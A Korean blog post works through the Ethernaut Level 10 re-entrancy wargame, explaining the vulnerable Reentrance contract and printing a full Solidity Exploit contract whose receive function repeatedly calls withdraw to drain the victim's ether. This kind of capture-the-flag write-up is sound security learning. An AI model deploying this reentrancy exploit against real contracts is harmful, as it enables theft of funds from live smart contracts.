Pwnstar

Ethernaut Level 10(Re-entrancy) 본문

Wargame/Ethernaut

Ethernaut Level 10(Re-entrancy)

포너블처돌이 2023. 4. 4. 20:58

컨트랙트의 모든 재산을 훔치는 것이 레벨의 목표이다.

  • 신뢰할 수 없는 계약이 예상치 못한 곳에서 코드를 실행할 수 있다고 한다.
  • Fallback 메서드
  • Throw/revert 버블링
  • 다른 컨트랙트로 공격

이런 것들이 도움될 수 있다고 한다.

재진입 공격은 좀 유명한 취약점이라 일단 공부를 좀 하고 문제를 풀어보았다.

재진입 공격은 트랜잭션이 끝나기 전에 재진입해 이더를 탈취하는 공격이다.

문제 코드를 보면서 이해해보자

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Reentrance 컨트랙트는 받은 이더를 저장하는 balances 변수를 가지고 있다.

donate함수는 이더를 받는 함수, withdraw함수는 이더를 전송하는 함수이다.

만약 내가 victim에게 donate함수를 호출하여 1 ether를 전송했다고 해 보자.

그리곤 다시 withdraw함수를 호출해 이더를 받았다.

이때 만약, 내가 receive함수에 withdraw함수를 호출하는 코드를 삽입해 놓으면,

withdraw함수는 ether를 보내면서 receive함수를 호출할 것이고, receive함수는 다시 withdraw함수를 호출하기 때문에, victim은 계속해서 자신이 가지고 있는 이더를 나에게 전송해줄 것이다.

자 그러면 일단 instance가 이더를 얼마나 가지고 있는 지 확인해보자.

0.001만큼 가지고 있는데, 0.001만큼만 빼면 너무 적은 기분이 들어서 0.006만큼 더 전송해주었다.

그리고 코드를 작성해서 재진입 공격을 실행하기 전, 우선 공격자(나)는 receive함수를 이용해야하기 때문에 contract를 작성해서 공격해주어야 한다.

그래서 코드를 작성하여 withdraw함수의 if문을 통과하기 위해 최소한(0.001)만큼의 ether를 전송해주었다.

그리고 withdraw함수를 호출해주면

이렇게 공격자(contract)의 balance가 0.001 + 0.007로 0.008이 된 것을 볼 수 있다.

그리고 역시 instance의 balance는 ‘0’이 되어있다.

공격 코드는 다음과 같다.

pragma solidity ^0.8.0;

interface IR {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
    function balanceOf(address _who) external view returns(uint balance);
}

contract Exploit {
    IR public ir;
    address public owner;
    uint256 public value = 0.001e18;

    constructor (address _instance) {
        ir = IR(_instance);
    }

    function send(address _to) external payable{
        ir.donate{value:msg.value}(_to);
    }

    function withdraw() external {
        ir.withdraw(value);
    }

    function checkBalance(address _who) external view returns(uint balance) {
        return ir.balanceOf(_who);
    }

    receive() external payable {
        if(address(msg.sender).balance > 0){
            ir.withdraw(value);
        }
    }

}

끄읏


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 12(Privacy)  (0) 2023.04.05
Ethernaut Level 11(Elevator)  (0) 2023.04.05
Ethernaut Level 9(King)  (0) 2023.04.03
Ethernaut Level 8(Vault)  (0) 2023.04.03
Ethernaut Level 7(Force)  (0) 2023.04.03
Comments